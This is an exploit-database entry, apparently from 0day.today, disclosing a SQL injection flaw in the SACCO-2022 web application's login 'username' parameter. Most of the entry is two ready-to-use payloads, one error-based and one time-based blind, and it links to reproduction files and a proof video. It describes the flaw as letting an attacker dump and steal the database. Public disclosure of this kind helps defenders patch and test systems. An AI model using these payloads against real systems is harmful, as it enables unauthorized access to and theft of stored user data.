Lucene search

K
zdtNu11secur1ty1337DAY-ID-37947
HistorySep 08, 2022 - 12:00 a.m.

SACCO 2022 SQL injection Vulnerability

2022-09-0800:00:00
nu11secur1ty
0day.today
184
## Title: SACCO-2022 SQLi
## Author: nu11secur1ty
## Vendor: https://www.mayurik.com/
## Software: https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/mayuri_k/2022/SACCO/docs/sacco_shield.zip?raw=true
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/SACCO

## Description:
The `username` parameter from the SACCO-2022 system appears to be vulnerable to SQL injection attacks. 
The malicious user can dump-steal the database, from this system and he can use it for very malicious purposes.

STATUS: HIGH Vulnerability

[+]Payload:
```mysql
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: [email protected]' AND (SELECT 6479 FROM(SELECT COUNT(*),CONCAT(0x71786a7671,(SELECT (ELT(6479=6479,1))),0x71767a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# UWlq&password=admin

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: [email protected]' AND (SELECT 7854 FROM (SELECT(SLEEP(5)))OzkN)# Lpgs&password=admin
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/SACCO)

## Proof and Exploit:
[href](https://streamable.com/iswun6)